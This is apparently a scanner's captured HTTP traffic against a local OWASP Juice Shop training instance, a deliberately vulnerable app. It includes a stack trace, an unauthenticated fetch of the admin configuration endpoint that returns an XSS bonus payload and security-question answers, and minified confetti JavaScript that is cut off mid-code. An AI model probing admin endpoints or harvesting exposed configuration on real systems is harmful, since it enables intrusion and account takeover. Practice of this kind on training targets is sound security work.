(/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/rest/admin/application-configuration HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nETag: W/"4993-Oz9kS67Z/2Q7h9VfrxO8V9OVt0M"\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:58 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"config":{"server":{"port":3000,"basePath":""},"application":{"domain":"juice-sh.op","name":"OWASP Juice Shop","logo":"JuiceShop_Logo.png","favicon":"favicon_js.ico","theme":"bluegrey-lightgreen","showVersionNumber":true,"showGitHubLinks":true,"localBackupEnabled":true,"numberOfRandomFakeUsers":0,"altcoinName":"Juicycoin","privacyContactEmail":"donotreply@owasp-juice.shop","customMetricsPrefix":"juiceshop","chatBot":{"name":"Juicy","greeting":"Nice to meet you <customer-name>, I\'m <bot-name>","trainingData":"botDefaultTrainingData.json","defaultResponse":"Sorry I couldn\'t understand what you were trying to say","avatar":"JuicyChatBot.png"},"social":{"twitterUrl":"https://twitter.com/owasp_juiceshop","facebookUrl":"https://www.facebook.com/owasp.juiceshop","slackUrl":"https://owasp.org/slack/invite","redditUrl":"https://www.reddit.com/r/owasp_juiceshop","pressKitUrl":"https://github.com/OWASP/owasp-swag/tree/master/projects/juice-shop","nftUrl":"https://opensea.io/collection/juice-shop","questionnaireUrl":null},"recyclePage":{"topProductImage":"fruit_press.jpg","bottomProductImage":"apple_pressings.jpg"},"welcomeBanner":{"showOnFirstStart":true,"title":"Welcome to OWASP Juice Shop!","message":"<p>Being a web application with a vast number of intended security vulnerabilities, the <strong>OWASP Juice Shop</strong> is supposed to be the opposite of a best practice or template application for web developers: It is an awareness, training, demonstration and exercise tool for security risks in modern web applications. The <strong>OWASP Juice Shop</strong> is an open-source project hosted by the non-profit <a href=\'https://owasp.org\' target=\'_blank\'>Open Web Application Security Project (OWASP)</a> and is developed and maintained by volunteers. Check out the link below for more information and documentation on the project.</p><h1><a href=\'https://owasp-juice.shop\' target=\'_blank\'>https://owasp-juice.shop</a></h1>"},"cookieConsent":{"message":"This website uses fruit cookies to ensure you get the juiciest tracking experience.","dismissText":"Me want it!","linkText":"But me wait!","linkUrl":"https://www.youtube.com/watch?v=9PnbKL3wuH4"},"securityTxt":{"contact":"mailto:donotreply@owasp-juice.shop","encryption":"https://keybase.io/bkimminich/pgp_keys.asc?fingerprint=19c01cb7157e4645e9e2c863062a85a8cbfbdcda","acknowledgements":"/#/score-board","hiring":"/#/jobs"},"promotion":{"video":"owasp_promo.mp4","subtitles":"owasp_promo.vtt"},"easterEggPlanet":{"name":"Orangeuze","overlayMap":"orangemap2k.jpg"},"googleOauth":{"clientId":"1005568560502-6hm16lef8oh46hr2d98vf2ohlnj4nfhq.apps.googleusercontent.com","authorizedRedirects":[{"uri":"https://demo.owasp-juice.shop"},{"uri":"https://juice-shop.herokuapp.com"},{"uri":"https://preview.owasp-juice.shop"},{"uri":"https://juice-shop-staging.herokuapp.com"},{"uri":"https://juice-shop.wtf"},{"uri":"http://localhost:3000","proxy":"https://local3000.owasp-juice.shop"},{"uri":"http://127.0.0.1:3000","proxy":"https://local3000.owasp-juice.shop"},{"uri":"http://localhost:4200","proxy":"https://local4200.owasp-juice.shop"},{"uri":"http://127.0.0.1:4200","proxy":"https://local4200.owasp-juice.shop"},{"uri":"http://192.168.99.100:3000","proxy":"https://localmac.owasp-juice.shop"},{"uri":"http://192.168.99.100:4200","proxy":"https://localmac.owasp-juice.shop"},{"uri":"http://penguin.termina.linux.test:3000","proxy":"https://localchromeos.owasp-juice.shop"},{"uri":"http://penguin.termina.linux.test:4200","proxy":"https://localchromeos.owasp-juice.shop"}]}},"challenges":{"showSolvedNotifications":true,"showHints":true,"showMitigations":true,"codingChallengesEnabled":"solved","restrictToTutorialsFirst":false,"overwriteUrlForProductTamperingChallenge":"https://owasp.slack.com","xssBonusPayload":"<iframe width=\\"100%\\" height=\\"166\\" scrolling=\\"no\\" frameborder=\\"no\\" allow=\\"autoplay\\" src=\\"https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true\\"></iframe>","safetyOverride":false,"showFeedbackButtons":true},"hackingInstructor":{"isEnabled":true,"avatarImage":"JuicyBot.png","hintPlaybackSpeed":"normal"},"products":[{"name":"Apple Juice (1000ml)","price":1.99,"deluxePrice":0.99,"limitPerUser":5,"description":"The all-time classic.","image":"apple_juice.jpg","reviews":[{"text":"One of my favorites!","author":"admin"}]},{"name":"Orange Juice (1000ml)","description":"Made from oranges hand-picked by Uncle Dittmeyer.","price":2.99,"deluxePrice":2.49,"image":"orange_juice.jpg","reviews":[{"text":"y0ur f1r3wall needs m0r3 musc13","author":"uvogin"}]},{"name":"Eggfruit Juice (500ml)","description":"Now with even more exotic flavour.","price":8.99,"image":"eggfruit_juice.jpg","reviews":[{"text":"I bought it, would buy again. 5/7","author":"admin"}]},{"name":"Raspberry Juice (1000ml)","description":"Made from blended Raspberry Pi, water and sugar.","price":4.99,"image":"raspberry_juice.jpg"},{"name":"Lemon Juice (500ml)","description":"Sour but full of vitamins.","price":2.99,"deluxePrice":1.99,"limitPerUser":5,"image":"lemon_juice.jpg"},{"name":"Banana Juice (1000ml)","description":"Monkeys love it the most.","price":1.99,"image":"banana_juice.jpg","reviews":[{"text":"Fry liked it too.","author":"bender"}]},{"name":"OWASP Juice Shop T-Shirt","description":"Real fans wear it 24/7!","price":22.49,"limitPerUser":5,"image":"fan_shirt.jpg"},{"name":"OWASP Juice Shop CTF Girlie-Shirt","description":"For serious Capture-the-Flag heroines only!","price":22.49,"image":"fan_girlie.jpg"},{"name":"OWASP SSL Advanced Forensic Tool (O-Saft)","description":"O-Saft is an easy to use tool to show information about SSL certificate and tests the SSL connection according given list of ciphers and various SSL configurations.","price":0.01,"image":"orange_juice.jpg","urlForProductTamperingChallenge":"https://www.owasp.org/index.php/O-Saft"},{"name":"Christmas Super-Surprise-Box (2014 Edition)","description":"Contains a random selection of 10 bottles (each 500ml) of our tastiest juices and an extra fan shirt for an unbeatable price!","price":29.99,"image":"undefined.jpg","useForChristmasSpecialChallenge":true},{"name":"Rippertuer Special Juice","description":"Contains a magical collection of the rarest fruits gathered from all around the world, like Cherymoya Annona cherimola, Jabuticaba Myrciaria cauliflora, Bael Aegle marmelos... and others, at an unbelievable price! <br/><span style=\\"color:red;\\">This item has been made unavailable because of lack of safety standards.</span>","price":16.99,"image":"undefined.jpg","keywordsForPastebinDataLeakChallenge":["hueteroneel","eurogium edule"]},{"name":"OWASP Juice Shop Sticker (2015/2016 design)","description":"Die-cut sticker with the official 2015/2016 logo. By now this is a rare collectors item. <em>Out of stock!</em>","price":999.99,"image":"sticker.png","deletedDate":"2017-04-28"},{"name":"OWASP Juice Shop Iron-Ons (16pcs)","description":"Upgrade your clothes with washer safe <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">iron-ons</a> of the OWASP Juice Shop or CTF Extension logo!","price":14.99,"image":"iron-on.jpg"},{"name":"OWASP Juice Shop Magnets (16pcs)","description":"Your fridge will be even cooler with these OWASP Juice Shop or CTF Extension logo <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">magnets</a>!","price":15.99,"image":"magnets.jpg"},{"name":"OWASP Juice Shop Sticker Page","description":"Massive decoration opportunities with these OWASP Juice Shop or CTF Extension <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">sticker pages</a>! Each page has 16 stickers on it.","price":9.99,"image":"sticker_page.jpg"},{"name":"OWASP Juice Shop Sticker Single","description":"Super high-quality vinyl <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">sticker single</a> with the OWASP Juice Shop or CTF Extension logo! The ultimate laptop decal!","price":4.99,"image":"sticker_single.jpg"},{"name":"OWASP Juice Shop Temporary Tattoos (16pcs)","description":"Get one of these <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">temporary tattoos</a> to proudly wear the OWASP Juice Shop or CTF Extension logo on your skin! If you tweet a photo of yourself with the tattoo, you get a couple of our stickers for free! Please mention <a href=\\"https://twitter.com/owasp_juiceshop\\" target=\\"_blank\\"><code>@owasp_juiceshop</code></a> in your tweet!","price":14.99,"image":"tattoo.jpg","reviews":[{"text":"I straight-up gots nuff props fo\'these tattoos!","author":"rapper"}]},{"name":"OWASP Juice Shop Mug","description":"Black mug with regular logo on one side and CTF logo on the other! Your colleagues will envy you!","price":21.99,"image":"fan_mug.jpg"},{"name":"OWASP Juice Shop Hoodie","description":"Mr. Robot-style apparel. But in black. And with logo.","price":49.99,"image":"fan_hoodie.jpg"},{"name":"OWASP Juice Shop-CTF Velcro Patch","description":"4x3.5\\" embroidered patch with velcro backside. The ultimate decal for every tactical bag or backpack!","price":2.92,"quantity":5,"limitPerUser":5,"image":"velcro-patch.jpg","reviews":[{"text":"This thang would look phat on Bobby\'s jacked fur coat!","author":"rapper"},{"text":"Looks so much better on my uniform than the boring Starfleet symbol.","author":"jim"}]},{"name":"Woodruff Syrup \\"Forest Master X-Treme\\"","description":"Harvested and manufactured in the Black Forest, Germany. Can cause hyperactive behavior in children. Can cause permanent green tongue when consumed undiluted.","price":6.99,"image":"woodruff_syrup.jpg"},{"name":"Green Smoothie","description":"Looks poisonous but is actually very good for your health! Made from green cabbage, spinach, kiwi and grass.","price":1.99,"image":"green_smoothie.jpg","reviews":[{"text":"Fresh out of a replicator.","author":"jim"}]},{"name":"Quince Juice (1000ml)","description":"Juice of the <em>Cydonia oblonga</em> fruit. Not exactly sweet but rich in Vitamin C.","price":4.99,"image":"quince.jpg"},{"name":"Apple Pomace","description":"Finest pressings of apples. Allergy disclaimer: Might contain traces of worms. Can be <a href=\\"/#recycle\\">sent back to us</a> for recycling.","price":0.89,"limitPerUser":5,"image":"apple_pressings.jpg"},{"name":"Fruit Press","description":"Fruits go in. Juice comes out. Pomace you can send back to us for recycling purposes.","price":89.99,"image":"fruit_press.jpg"},{"name":"OWASP Juice Shop Logo (3D-printed)","description":"This rare item was designed and handcrafted in Sweden. This is why it is so incredibly expensive despite its complete lack of purpose.","price":99.99,"image":"3d_keychain.jpg","fileForRetrieveBlueprintChallenge":"JuiceShop.stl","exifForBlueprintChallenge":["OpenSCAD"]},{"name":"Juice Shop Artwork","description":"Unique masterpiece painted with different kinds of juice on 90g/m\xc2\xb2 lined paper.","price":278.74,"quantity":0,"image":"artwork.jpg","deletedDate":"2020-12-24"},{"name":"Global OWASP WASPY Award 2017 Nomination","description":"Your chance to nominate up to three quiet pillars of the OWASP community ends 2017-06-30! <a href=\\"https://www.owasp.org/index.php/WASPY_Awards_2017\\">Nominate now!</a>","price":0.03,"image":"waspy.png","deletedDate":"2017-07-01"},{"name":"Strawberry Juice (500ml)","description":"Sweet & tasty!","price":3.99,"image":"strawberry_juice.jpeg"},{"name":"Carrot Juice (1000ml)","description":"As the old German saying goes: \\"Carrots are good for the eyes. Or has anyone ever seen a rabbit with glasses?\\"","price":2.99,"image":"carrot_juice.jpeg","reviews":[{"text":"0 st4rs f0r 7h3 h0rr1bl3 s3cur17y","author":"uvogin"}]},{"name":"OWASP Juice Shop Sweden Tour 2017 Sticker Sheet (Special Edition)","description":"10 sheets of Sweden-themed stickers with 15 stickers on each.","price":19.1,"image":"stickersheet_se.png","deletedDate":"2017-09-20"},{"name":"Pwning OWASP Juice Shop","description":"<em>The official Companion Guide</em> by Bj\xc3\xb6rn Kimminich available <a href=\\"https://leanpub.com/juice-shop\\">for free on LeanPub</a> and also <a href=\\"https://pwning.owasp-juice.shop\\">readable online</a>!","price":5.99,"image":"cover_small.jpg","reviews":[{"text":"Even more interesting than watching Interdimensional Cable!","author":"morty"}]},{"name":"Melon Bike (Comeback-Product 2018 Edition)","description":"The wheels of this bicycle are made from real water melons. You might not want to ride it up/down the curb too hard.","price":2999,"quantity":3,"limitPerUser":1,"image":"melon_bike.jpeg"},{"name":"OWASP Juice Shop Coaster (10pcs)","description":"Our 95mm circle coasters are printed in full color and made from thick, premium coaster board.","price":19.99,"quantity":0,"image":"coaster.jpg"},{"name":"OWASP Snakes and Ladders - Web Applications","description":"This amazing web application security awareness board game is <a href=\\"https://steamcommunity.com/sharedfiles/filedetails/?id=1969196030\\">available for Tabletop Simulator on Steam Workshop</a> now!","price":0.01,"quantity":8,"image":"snakes_ladders.jpg","reviews":[{"text":"Wait for a 10$ Steam sale of Tabletop Simulator!","author":"bjoernOwasp"}]},{"name":"OWASP Snakes and Ladders - Mobile Apps","description":"This amazing mobile app security awareness board game is <a href=\\"https://steamcommunity.com/sharedfiles/filedetails/?id=1970691216\\">available for Tabletop Simulator on Steam Workshop</a> now!","price":0.01,"quantity":0,"image":"snakes_ladders_m.jpg","reviews":[{"text":"Here yo\' learn how tha fuck ta not show yo\' goddamn phone on camera!","author":"rapper"}]},{"name":"OWASP Juice Shop Holographic Sticker","description":"Die-cut holographic sticker. Stand out from those 08/15-sticker-covered laptops with this shiny beacon of 80\'s coolness!","price":2,"quantity":0,"image":"holo_sticker.png","reviews":[{"text":"Rad, dude!","author":"rapper"},{"text":"Looks spacy on Bones\' new tricorder!","author":"jim"},{"text":"Will put one on the Planet Express ship\'s bumper!","author":"bender"}]},{"name":"OWASP Juice Shop \\"King of the Hill\\" Facemask","description":"Facemask with compartment for filter from 50% cotton and 50% polyester.","price":13.49,"quantity":0,"limitPerUser":1,"image":"fan_facemask.jpg","reviews":[{"text":"K33p5 y0ur ju1cy 5plu773r 70 y0ur53lf!","author":"uvogin"},{"text":"Puny mask for puny human weaklings!","author":"bender"}]},{"name":"Juice Shop Adversary Trading Card (Common)","description":"Common rarity \\"Juice Shop\\" card for the <a href=\\"https://docs.google.com/forms/d/e/1FAIpQLSecLEakawSQ56lBe2JOSbFwFYrKDCIN7Yd3iHFdQc5z8ApwdQ/viewform\\">Adversary Trading Cards</a> CCG.","price":2.99,"deluxePrice":0.99,"deletedDate":"2020-11-30","limitPerUser":5,"image":"ccg_common.png","reviews":[{"text":"Ooooh, puny human playing Mau Mau, now?","author":"bender"}]},{"name":"Juice Shop Adversary Trading Card (Super Rare)","description":"Super rare \\"Juice Shop\\" card with holographic foil-coating for the <a href=\\"https://docs.google.com/forms/d/e/1FAIpQLSecLEakawSQ56lBe2JOSbFwFYrKDCIN7Yd3iHFdQc5z8ApwdQ/viewform\\">Adversary Trading Cards</a> CCG.","price":99.99,"deluxePrice":69.99,"deletedDate":"2020-11-30","quantity":2,"limitPerUser":1,"image":"ccg_foil.png","reviews":[{"text":"Mau Mau with bling-bling? Humans are so pathetic!","author":"bender"}]},{"name":"Juice Shop \\"Permafrost\\" 2020 Edition","description":"Exact version of <a href=\\"https://github.com/juice-shop/juice-shop/releases/tag/v9.3.1-PERMAFROST\\">OWASP Juice Shop that was archived on 02/02/2020</a> by the GitHub Archive Program and ultimately went into the <a href=\\"https://github.blog/2020-07-16-github-archive-program-the-journey-of-the-worlds-open-source-code-to-the-arctic\\">Arctic Code Vault</a> on July 8. 2020 where it will be safely stored for at least 1000 years.","price":9999.99,"quantity":1,"limitPerUser":1,"image":"permafrost.jpg","reviews":[{"text":"\xf0\x9f\xa7\x8a Let it go, let it go \xf0\x9f\x8e\xb6 Can\'t hold it back anymore \xf0\x9f\x8e\xb6 Let it go, let it go \xf0\x9f\x8e\xb6 Turn away and slam the door \xe2\x9d\x84\xef\xb8\x8f","author":"rapper"}]},{"name":"Best Juice Shop Salesman Artwork","description":"Unique digital painting depicting Stan, our most qualified and almost profitable salesman. He made a succesful carreer in selling used ships, coffins, krypts, crosses, real estate, life insurance, restaurant supplies, voodoo enhanced asbestos and courtroom souvenirs before <em>finally</em> adding his expertise to the Juice Shop marketing team.","price":5000,"quantity":1,"image":"artwork2.jpg","reviews":[{"text":"I\'d stand on my head to make you a deal for this piece of art.","author":"stan"},{"text":"Just when my opinion of humans couldn\'t get any lower, along comes Stan...","author":"bender"}]},{"name":"OWASP Juice Shop Card (non-foil)","description":"Mythic rare <small><em>(obviously...)</em></small> card \\"OWASP Juice Shop\\" with three distinctly useful abilities. Alpha printing, mint condition. A true collectors piece to own!","price":1000,"quantity":3,"limitPerUser":1,"image":"card_alpha.jpg","reviews":[{"text":"DO NOT PLAY WITH THIS! Double-sleeve, then put it in the GitHub Arctic Vault for perfect preservation and boost of secondary market value!","author":"accountant"}]},{"name":"20th Anniversary Celebration Ticket","description":"Get your <a href=\\"https://20thanniversary.owasp.org/\\" target=\\"_blank\\">free \xf0\x9f\x8e\xab for OWASP 20th Anniversary Celebration</a> online conference! Hear from world renowned keynotes and special speakers, network with your peers and interact with our event sponsors. With an anticipated 10k+ attendees from around the world, you will not want to miss this live on-line event!","price":1e-20,"deletedDate":"2021-09-25","limitPerUser":1,"image":"20th.jpeg","reviews":[{"text":"I\'ll be there! Will you, too?","author":"bjoernOwasp"}]}],"memories":[{"image":"magn(et)ificent!-1571814229653.jpg","caption":"Magn(et)ificent!","user":"bjoernGoogle"},{"image":"my-rare-collectors-item!-[\xcc\xb2\xcc\x85$\xcc\xb2\xcc\x85(\xcc\xb2\xcc\x85-\xcd\xa1\xc2\xb0-\xcd\x9c\xca\x96-\xcd\xa1\xc2\xb0\xcc\xb2\xcc\x85)\xcc\xb2\xcc\x85$\xcc\xb2\xcc\x85]-1572603645543.jpg","caption":"My rare collectors item! [\xcc\xb2\xcc\x85$\xcc\xb2\xcc\x85(\xcc\xb2\xcc\x85 \xcd\xa1\xc2\xb0 \xcd\x9c\xca\x96 \xcd\xa1\xc2\xb0\xcc\xb2\xcc\x85)\xcc\xb2\xcc\x85$\xcc\xb2\xcc\x85]","user":"bjoernGoogle"},{"image":"favorite-hiking-place.png","caption":"I love going hiking here...","geoStalkingMetaSecurityQuestion":14,"geoStalkingMetaSecurityAnswer":"Daniel Boone National Forest"},{"image":"IMG_4253.jpg","caption":"My old workplace...","geoStalkingVisualSecurityQuestion":10,"geoStalkingVisualSecurityAnswer":"ITsec"},{"image":"BeeHaven.png","caption":"Welcome to the Bee Haven (/#/bee-haven)\xf0\x9f\x90\x9d","user":"evm"}],"ctf":{"showFlagsInNotifications":false,"showCountryDetailsInNotifications":"none","countryMapping":null}}}'
GET http://localhost:3000/103.js HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"2b5a-18df12a3c77"\r\nContent-Type: application/javascript; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:31:27 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'"use strict";(self.webpackChunkfrontend=self.webpackChunkfrontend||[]).push([[103],{8103:(Ce,B,A)=>{A.r(B),A.d(B,{shootConfetti:()=>G});var P={};!function M(m,T,L,x){var N=!!(m.Worker&&m.Blob&&m.Promise&&m.OffscreenCanvas&&m.OffscreenCanvasRenderingContext2D&&m.HTMLCanvasElement&&m.HTMLCanvasElement.prototype.transferControlToOffscreen&&m.URL&&m.URL.createObjectURL),j="function"==typeof Path2D&&"function"==typeof DOMMatrix,J=function(){if(!m.OffscreenCanvas)return!1;var r=new OffscreenCanvas(1,1),e=r.getContext("2d");e.fillRect(0,0,1,1);var a=r.transferToImageBitmap();try{e.createPattern(a,"no-repeat")}catch{return!1}return!0}();function z(){}function E(r){var e=T.exports.Promise,a=void 0!==e?e:m.Promise;return"function"==typeof a?new a(r):(r(z,z),null)}var r,e,R,F=(r=J,e=new Map,{transform:function(a){if(r)return a;if(e.has(a))return e.get(a);var t=new OffscreenCanvas(a.width,a.height);return t.getContext("2d").drawImage(a,0,0),e.set(a,t),t},clear:function(){e.clear()}}),S=function(){var e,a,r=Math.floor(16.666666666666668),t={},o=0;return"function"==typeof requestAnimationFrame&&"function"==typeof cancelAnimationFrame?(e=function(i){var l=Math.random();return t[l]=requestAnimationFrame(function n(s){o===s||o+r-1<s?(o=s,delete t[l],i()):t[l]=requestAnimationFrame(n)}),l},a=function(i){t[i]&&cancelAnimationFrame(t[i])}):(e=function(i){return setTimeout(i,r)},a=function(i){return clearTimeout(i)}),{frame:e,cancel:a}}(),K=function(){var r,e,a={};return function(){if(r)return r;if(!L&&N){var o=["var CONFETTI, SIZE = {}, module = {};","("+M.toString()+")(this, module, true, SIZE);","onmessage = function(msg) {"," if (msg.data.options) {"," CONFETTI(msg.data.options).then(function () {"," if (msg.data.callback) {"," postMessage({ callback: msg.data.callback });"," }"," });"," } else if (msg.data.reset) {"," CONFETTI && CONFETTI.reset();"," } else if (msg.data.resize) {"," SIZE.width = msg.data.resize.width;"," SIZE.height = msg.data.resize.height;"," } else if (msg.data.canvas) {"," SIZE.width = msg.data.canvas.width;"," SIZE.height = msg.data.canvas.height;"," CONFETTI = module.exports.create(msg.data.canvas);"," }","}"].join("\\n");try{r=new Worker(URL.createObjectURL(new Blob([o])))}catch(i){return void 0!==typeof console&&"function"==typeof console.warn&&console.warn("\\u{1f38a} Could not load worker",i),null}!function t(o){function i(l,n){o.postMessage({options:l||{},callback:n})}o.init=function(n){var s=n.transferControlToOffscreen();o.postMessage({canvas:s},[s])},o.fire=function(n,s,u){if(e)return i(n,null),e;var d=Math.random().toString(36).slice(2);return e=E(function(h){function f(g){g.data.callback===d&&(delete a[d],o.removeEventListener("message",f),e=null,F.clear(),u(),h())}o.addEventListener("message",f),i(n,d),a[d]=f.bind(null,{data:{callback:d}})})},o.reset=function(){for(var n in o.postMessage({reset:!0}),a)a[n](),delete a[n]}}(r)}return r}}(),Q={particleCount:50,angle:90,spread:45,startVelocity:45,decay:.9,gravity:1,drift:0,ticks:200,x:.5,y:.5,shapes:["square","circle"],zIndex:100,colors:["#26ccff","#a25afd","#ff5e7e","#88ff5a","#fcff42","#ffa62d","#ff36ff"],disableForReducedMotion:!1,scalar:1};function v(r,e,a){return function $(r,e){return e?e(r):r}(r&&function X(r){return null!=r}(r[e])?r[e]:Q[e],a)}function Y(r){return r<0?0:Math.floor(r)}function ee(r,e){return Math.floor(Math.random()*(e-r))+r}function O(r){return parseInt(r,16)}function re(r){return r.map(ae)}function ae(r){var e=String(r).replace(/[^0-9a-f]/gi,"");return e.length<6&&(e=e[0]+e[0]+e[1]+e[1]+e[2]+e[2]),{r:O(e.substring(0,2)),g:O(e.substring(2,4)),b:O(e.substring(4,6))}}function te(r){r.width=document.documentElement.clientWidth,r.height=document.documentElement.clientHeight}function oe(r){var e=r.getBoundingClientRect();r.width=e.width,r.height=e.height}function se(r){var e=r.angle*(Math.PI/180),a=r.spread*(Math.PI/180);return{x:r.x,y:r.y,wobble:10*Math.random(),wobbleSpeed:Math.min(.11,.1*Math.random()+.05),velocity:.5*r.startVelocity+Math.random()*r.startVelocity,angle2D:-e+(.5*a-Math.random()*a),tiltAngle:(.5*Math.random()+.25)*Math.PI,color:r.color,shape:r.shape,tick:0,totalTicks:r.ticks,decay:r.decay,drift:r.drift,random:Math.random()+2,tiltSin:0,tiltCos:0,wobbleX:0,wobbleY:0,gravity:3*r.gravity,ovalScalar:.6,scalar:r.scalar,flat:r.flat}}function W(r,e){var h,a=!r,t=!!v(e||{},"resize"),o=!1,i=v(e,"disableForReducedMotion",Boolean),n=N&&v(e||{},"useWorker")?K():null,s=a?te:oe,u=!(!r||!n||!r.__confetti_initialized),d="function"==typeof matchMedia&&matchMedia("(prefers-reduced-motion)").matches;function f(c,p,y){for(var b=v(c,"particleCount",Y),C=v(c,"angle",Number),I=v(c,"spread",Number),w=v(c,"startVelocity",Number),ve=v(c,"decay",Number),me=v(c,"gravity",Number),ge=v(c,"drift",Number),U=v(c,"colors",re),Me=v(c,"ticks",Number),V=v(c,"shapes"),pe=v(c,"scalar"),ye=!!v(c,"flat"),Z=function ne(r){var e=v(r,"origin",Object);return e.x=v(e,"x",Number),e.y=v(e,"y",Number),e}(c),q=b,k=[],be=r.width*Z.x,we=r.height*Z.y;q--;)k.push(se({x:be,y:we,angle:C,spread:I,startVelocity:w,color:U[q%U.length],shape:V[ee(0,V.length)],ticks:Me,decay:ve,gravity:me,drift:ge,scalar:pe,flat:ye}));return h?h.addFettis(k):(h=function ue(r,e,a,t,o){var n,s,i=e.slice(),l=r.getContext("2d"),u=E(function(d){function h(){n=s=null,l.clearRect(0,0,t.width,t.height),F.clear(),o(),d()}n=S.frame(function f(){L&&!(t.width===x.width&&t.height===x.height)&&(t.width=r.width=x.width,t.height=r.height=x.height),!t.width&&!t.height&&(a(r),t.width=r.width,t.height=r.height),l.clearRect(0,0,t.width,t.height),(i=i.filter(function(g){return function ce(r,e){e.x+=Math.cos(e.angle2D)*e.velocity+e.drift,e.y+=Math.sin(e.angle2D)*e.velocity+e.gravity,e.velocity*=e.decay,e.flat?(e.wobble=0,e.wobbleX=e.x+10*e.scalar,e.wobbleY=e.y+10*e.scalar,e.tiltSin=0,e.tiltCos=0,e.random=1):(e.wobble+=e.wobbleSpeed,e.wobbleX=e.x+10*e.scalar*Math.cos(e.wobble),e.wobbleY=e.y+10*e.scalar*Math.sin(e.wobble),e.tiltAngle+=.1,e.tiltSin=Math.sin(e.tiltAngle),e.tiltCos=Math.cos(e.tiltAngle),e.random=Math.random()+2);var a=e.tick++/e.totalTicks,t=e.x+e.random*e.tiltCos,o=e.y+e.random*e.tiltSin,i=e.wobbleX+e.random*e.tiltCos,l=e.wobbleY+e.random*e.tiltSin;if(r.fillStyle="rgba("+e.color.r+", "+e.color.g+", "+e.color.b+", "+(1-a)+")",r.beginPath(),j&&"path"===e.shape.type&&"string"==typeof e.shape.path&&Array.isArray(e.shape.matrix))r.fill(function he(r,e,a,t,o,i,l){var n=new Path2D(r),s=new Path2D;s.addPath(n,new DOMMatrix(e));var u=new Path2D;return u.addPath(s,new DOMMatrix([Math.cos(l)*o,Math.sin(l)*o,-Math.sin(l)*i,Math.cos(l)*i,a,t])),u}(e.shape.path,e.shape.matrix,e.x,e.y,.1*Math.abs(i-t),.1*Math.abs(l-o),Math.PI/10*e.wobble));else if("bitmap"===e.shape.type){var n=Math.PI/10*e.wobble,s=.1*Math.abs(i-t),u=.1*Math.abs(l-o),d=e.shape.bitmap.width*e.scalar,h=e.shape.bitmap.height*e.scalar,f=new DOMMatrix([Math.cos(n)*s,Math.sin(n)*s,-Math.sin(n)*u,Math.cos(n)*u,e.x,e.y]);f.multiplySelf(new DOMMatrix(e.shape.matrix));var g=r.createPattern(F.transform(e.shape.bitmap),"no-repeat");g.setTransform(f),r.globalAlpha=1-a,r.fillStyle=g,r.fillRect(e.x-d/2,e.y-h/2,d,h),r.globalAlpha=1}else if("circle"===e.shape)r.ellipse?r.ellipse(e.x,e.y,Math.abs(i-t)*e.ovalScalar,Math.abs(l-o)*e.ovalScalar,Math.PI/10*e.wobble,0,2*Math.PI):function 